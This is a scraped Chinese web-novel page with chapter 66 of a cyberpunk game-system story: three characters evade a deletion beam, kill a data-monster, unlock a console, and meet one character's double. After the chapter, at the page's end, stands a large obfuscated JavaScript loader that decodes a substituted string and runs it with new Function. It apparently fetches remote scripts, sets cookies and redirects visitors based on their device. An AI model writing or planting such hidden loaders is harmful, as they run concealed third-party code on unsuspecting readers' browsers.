首页
第一卷 第66章 旧版本残响
返回

第一卷 第66章 旧版本残响

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第一卷第66章旧版本残响(第1/2页)
    低沉的声音在空间中回荡,像巨石砸入水面,激起一圈圈涟漪。
    “检测到……入侵者……启动……防御机制……”
    林北脸色一变:“操!系统活了!”
    “活了?”江辰问。
    “第七行政区的防御系统!它检测到我们了!不是表层的防御,是中层的核心防御!”
    话音刚落,头顶的巨大齿轮突然加速旋转,发出刺耳的金属摩擦声。墙壁上的数据流变得狂暴,像血管一样剧烈跳动,流速肉眼可见地加快了一倍。
    “躲起来!找掩体!”
    三人冲到一个巨大的机械装置后面,蹲下。
    头顶,一道光束扫过他们刚才站的位置,在地面上留下一个焦黑的印记。印记边缘发红,冒着青烟,空气中弥漫着烧焦的塑料味。
    “那是……激光?”
    “不是激光,是数据清除程序。”林北压低声音,语速很快,“被它扫到,你的数据会被彻底删除,从物理到精神,什么都不剩。我见过一个数据猎人被扫中,当场就消失了,连衣服都没留下。”
    江辰咽了口唾沫:“怎么关闭它?”
    “没法关闭。防御系统一旦启动,除非清除所有入侵者,否则不会停止。”
    “那就只能硬闯了?”
    “硬闯也不是不行,但要找到防御系统的控制中心。”林北抬头,看向空间中央的一个高台,“那里。我看到了,上面有一个控制台。”
    高台大概五十米远,由金属支架搭建而成,四周没有遮挡物。台面上有一个控制台,屏幕上闪烁着微弱的蓝光。
    “光束的扫描模式是什么?”
    “环形扫描,顺时针,每十秒一圈。我们有十秒的窗口期。”
    “十秒,跑五十米,够了。”
    林北摇头:“不够。这个空间的物理规则不稳定,你全力奔跑的速度会被压缩到正常速度的一半。”
    “为什么?”
    “因为中层的数据流密度太大,会阻碍你的移动。你在中层跑一百米,相当于在现实世界跑两百米。”
    江辰盯着高台,计算着距离和速度。
    “二十秒跑完。只要我们能精确计算光束的轨迹,就能在窗口期内到达高台。”
    “你有把握?”
    “没有。但可以试试。”
    江辰深吸一口气,激活了规则链·侦察。
    【规则链·侦察Lv.1启动】
    【数据回溯·残篇生效】
    【正在分析光束扫描模式……】
    视野里,光束的扫描轨迹变得清晰。
    环形扫描,顺时针,每十秒一圈。光束的宽度是两米,扫过的区域会被标记为“已清除”,然后继续下一圈。光束的移动速度很快,每秒约三十度角,几乎没有停顿。
    “十秒内,光束会扫过我们现在的位置。我们必须在它扫过之前,冲到高台。”
    “具体怎么跑?”
    “我喊‘跑’,就一起冲。跑到高台后,直接翻滚进去,躲开光束的扫描范围。”
    “明白了。”
    三人蹲在机械装置后面,等待时机。
    光束在空间里一圈一圈地扫过,像一只巨大的眼睛在巡视自己的领地。每一次扫过,地面上都会留下一个焦黑的印记,印记越来越多,整个空间的地面已经布满了黑色的斑点。
    十秒后,光束扫过他们头顶。
    “跑!”
    三人同时冲出掩体。
    江辰全力奔跑,但脚下的地面像灌了铅一样沉重,每一步都格外费力。空气也变得黏稠,像在水里跑步,阻力很大。
    “物理规则被压缩了!”他喊道。
    “坚持住!还有三十米!”
    二十五米。
    二十米。
    十五米。
    光束已经在他们身后开始新一圈的扫描。
    “十秒!还有十秒!”
    十米。
    五米。
    “跳!”
    三人同时跳起,翻滚进高台。
    光束擦着江辰的脚后跟扫过,在地面上留下一个焦黑的印记,距离他的鞋底只有不到五厘米。他甚至能感觉到光束扫过时,脚底传来的灼热感。
    “操……差点。”
    林北爬起来,拍了拍身上的灰:“帅,但下次别这么冒险了。”
    江辰站起来,走到控制台前。
    控制台是一个巨大的金属平台,表面覆盖着密密麻麻的按钮和屏幕。屏幕上的文字是旧版本的编码,他看不懂——那是一种由几何图形和数字组成的符号系统,和当前版本的通用语完全不同。
    “能操作吗?”
    “可以,但需要解码。”林北掏出解码器,接在控制台上。
    【解码中……】
    【目标:第七行政区·中层防御系统控制台】
    【预计解码时间:10分钟】
    “十分钟。我们能撑住吗?”
    “撑不住也得撑。”
    时雨站在高台边缘,手里的短弓保持着上弦状态,目光扫视着下方的空间。
    “怪物来了。”
    江辰转头看去。
    高台下方,地面开始龟裂,裂缝向四周扩散,像一张破碎的镜面。一只巨大的怪物从裂缝中爬出,八条腿撑在地面上,每一条腿都像一把锋利的刀刃,在暗淡的光线下反射出冷光。
    怪物的身体由金属和数据流混合组成,外壳上覆盖着一层暗红色的数据流,像活物一样在蠕动。头部的形状像蜘蛛,但眼睛只有一只——一只巨大的、发着红光的眼球,在眼眶里不断转动。
    【数据撕裂者·Lv.12】
    【旧版本系统防御单位,擅长物理攻击与精神攻击的双重打击】
    【弱点:关节连接处,数据流不稳定区域】
    “操……数据撕裂者。”林北握紧短刀,“江辰,你继续解码。时雨,我们拖住它。”
    “明白。”
    时雨拉开弓弦,箭矢对准数据撕裂者的头部。
    【精准射击Lv.2启动】
    【命中率+30%,暴击率+20%】
    箭矢破空而出,在空中划出一道银白色的轨迹,精准地钉在数据撕裂者的头部——那只巨大的眼球上。
    但数据撕裂者只是晃了晃,没有被击退。箭矢插在眼球上,但眼球表面浮现出一层暗红色的光,把箭矢包裹住,然后融化了。
    “普通攻击无效!”
    “那就用技能!”
    时雨深吸一口气,拉开弓弦。
    【精准射击Lv.2+快速装填Lv.4】
    【双重技能叠加】
    【箭矢速度+40%,暴击率+30%】
    【消耗精神力:25/55】
    一道银白色的箭矢从她手中射出,箭矢尾部拖着一条细长的光尾,在空中划出一道弧线,精准地钉在数据撕裂者的关节处——左前腿和身体的连接处。
    关节处的数据流开始紊乱,暗红色的光变得不稳定,像信号不好的电视画面一样闪烁。怪物的动作变得迟缓,左前腿明显无法正常发力。
    “击中了!”
    “继续!攻击同一个位置!”
    时雨再次拉弓,又是三箭连发。
    三支箭矢接连命中同一个关节,关节处的数据流彻底崩溃,暗红色的光变成了灰白色,然后像玻璃一样碎裂。
    数据撕裂者发出一声震耳欲聋的嘶吼——声音尖锐刺耳,像金属刮擦玻璃,震得江辰耳膜发疼。
    【受到精神攻击:精神损伤+10】
    【精神力:50/90】
    “它在用精神攻击!”
    林北冲下高台,挥舞短刀,斩向数据撕裂者的另一条前腿。刀锋落在数据流上,发出一声刺耳的巨响,火花四溅。
    (本章未完,请点击下一页继续阅读)第一卷第66章旧版本残响(第2/2页)
    “江辰!解码进度多少了?”
    江辰看了一眼控制台。
    【解码进度:30%】
    “百分之三十!”
    “太慢了!”
    “我知道!”
    江辰盯着控制台,但屏幕上的数据流流动得太快,他根本看不懂。解码器在缓慢地解析每一行代码,但数据量太大了,十分钟已经是理论最快速度。
    数据撕裂者转过身,八条腿同时发力,向林北扑来。
    林北侧身躲避,但左臂还是被刀刃划伤,鲜血直流,染红了衣袖。
    【受到攻击:物理损伤+15】
    【精神力:45/60】
    “林北!”
    “没事!继续解码!”
    江辰深吸一口气,强迫自己冷静下来。
    他看向控制台,突然注意到屏幕角落有一个闪烁的图标——一个很小的、几乎被忽略的符号,看起来像是一个钥匙。
    “这是什么?”
    他用手指点了点那个图标。
    【检测到隐藏权限入口】
    【是否需要使用权限碎片进行解锁?】
    【消耗:核心数据层·权限碎片【表情】1】
    核心数据层·权限碎片——他在安全屋拿到的那块暗红色晶体。
    “操,我差点忘了。”
    江辰掏出那块碎片,按在控制台上。
    【权限碎片识别中……】
    【识别成功】
    【获得:临时管理员权限】
    【正在解锁隐藏权限……】
    【解锁成功】
    控制台屏幕上的数据流突然停止了流动,然后全部消失,变成了一个简洁的界面——只有一行字和一个按钮。
    “这……这是什么?”
    林北抽空看了一眼:“操!你解锁了隐藏权限!直接点‘关闭防御系统’!”
    江辰点了那个按钮。
    【防御系统已关闭】
    光束消失了。
    数据撕裂者发出一声绝望的嘶吼,身体开始崩解——先是头部,然后是身体,最后是八条腿,像沙子一样散落,化为一堆灰白色的数据碎片,消散在空气中。
    【击杀数据撕裂者Lv.12】
    【获得经验值:600】
    【掉落:规则碎片【表情】2】
    “漂亮!”
    林北坐在地上,大口喘着气,左臂的伤口还在流血。
    “休息一下,再继续前进。”
    江辰走到林北面前,检查他的伤口——伤口很深,边缘泛着暗红色的光,是被数据污染过的痕迹。
    “伤口很深,需要处理。”
    “没事,小伤。”
    “不是小伤。数据撕裂者的攻击会留下数据残留,不处理的话,会感染。”
    “怎么处理?”
    “用精神力消除残留。”
    江辰伸出手,按在林北的伤口上。
    【数据回溯·残篇生效】
    【正在清除残留的数据痕迹……】
    【消耗精神力:20/45】
    林北的伤口开始愈合,愈合的速度很慢,但至少不再流血了。暗红色的数据残留物被一点点清除,露出下面正常的皮肤。
    “你的精神力不够了。”
    “还能撑一会。”
    “别逞强。”林北推开江辰的手,从口袋里掏出一个绷带,缠在伤口上,“剩下的我自己处理。休息十分钟,然后继续。”
    三人在高台上休息了十分钟。
    江辰坐在地上,看着手里的两块新规则碎片。
    【规则碎片:数据防御·残篇】
    【效果:短暂生成一个数据屏障,抵挡一次物理攻击,冷却时间300秒,消耗精神力30/次】
    【规则碎片:数据感知·残篇】
    【效果:扩大感知范围,提升对数据波动的敏感度,持续时间30秒,冷却时间240秒,消耗精神力20/次】
    两个新的技能碎片。
    江辰把碎片举到眼前,暗红色的晶体内部有细小的光点在流动,像某种微缩的星系在缓慢旋转。
    “数据防御·残篇,数据感知·残篇。”他低声念出碎片的名字,“一个能保命,一个能侦察。正好补全我现在的短板。”
    “那就留着。”林北靠在控制台上,掏出水壶灌了一口,“数据坟场里的碎片,都是旧版本系统的残留技能。你凑齐了,就能解锁一些旧版本的专属技能。不过我得提醒你——碎片越多,技能越杂,你的精神力负担也会越重。”
    “怎么看适不适合?”
    “看你现有技能的兼容度。”林北指了指他手里的碎片,“数据防御走的是防御路线,和你现在的侦察技能偏重不同。装上去之后,技能树可能会往‘全能型’方向发展——什么都会一点,但什么都不精。”
    “那数据感知呢?”
    “那个和你现有的侦察技能很搭。”林北说,“感知范围扩大,对数据波动的敏感度提升,相当于把你的侦察术从‘被动接收’升级成‘主动扫描’。”
    江辰想了想,把数据感知碎片收进口袋,数据防御碎片单独放好。
    “等回去再装。现在精神力不够,装碎片也需要消耗。”
    “聪明。”林北站起来,活动了一下左臂,“走吧,不能再拖了。”
    江辰收起碎片,看向林北:“你还能走吗?”
    “能。但速度会慢一些。”
    “我们继续前进。”
    三人离开高台,走进空间深处。
    通道越来越窄,两侧的墙壁越来越近,数据流越来越密集。墙壁上的数据流不再是暗红色的,而是变成了深紫色,流速很快,发出嗡嗡的电流声。
    “我们快到核心区域了。”
    “还有多远?”
    “大概一公里。穿过这条通道,就能看到核心数据层的入口。”
    江辰点头,继续前进。
    走了大概五百米,他突然停下。
    “等等。”
    “怎么了?”
    “前面……有声音。”
    三人停下脚步,屏住呼吸。
    通道深处,传来微弱的脚步声。不是怪物的脚步声,而是人的——鞋底踩在金属地面上发出的清脆声响,一下,一下,很有节奏。
    “有人。”
    “不是怪物?”时雨问。
    “不是。是人的脚步声。”
    林北皱眉:“不可能。中层区域我从来没遇到过其他人。”
    “但确实有脚步声。”
    江辰握紧拳头,激活了规则链·侦察。
    【规则链·侦察Lv.1启动】
    【数据回溯·残篇生效】
    【正在分析前方声音来源……】
    视野里,前方三十米处,有一个模糊的人形轮廓。
    “一个人。站在通道中央,没有移动。”
    “活人?”
    “不知道。数据波动很微弱,像是……残影。”
    “旧版本的数据残影?”
    “可能是。”
    林北握紧短刀:“我去看看。”
    “小心。”
    林北猫着腰,沿着通道壁前进,靠近那个人形轮廓。
    距离越来越近。
    二十米。
    十五米。
    十米。
    林北突然停下,脸色变得苍白。
    “操……”
    “怎么了?”
    “那个人……是我自己。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();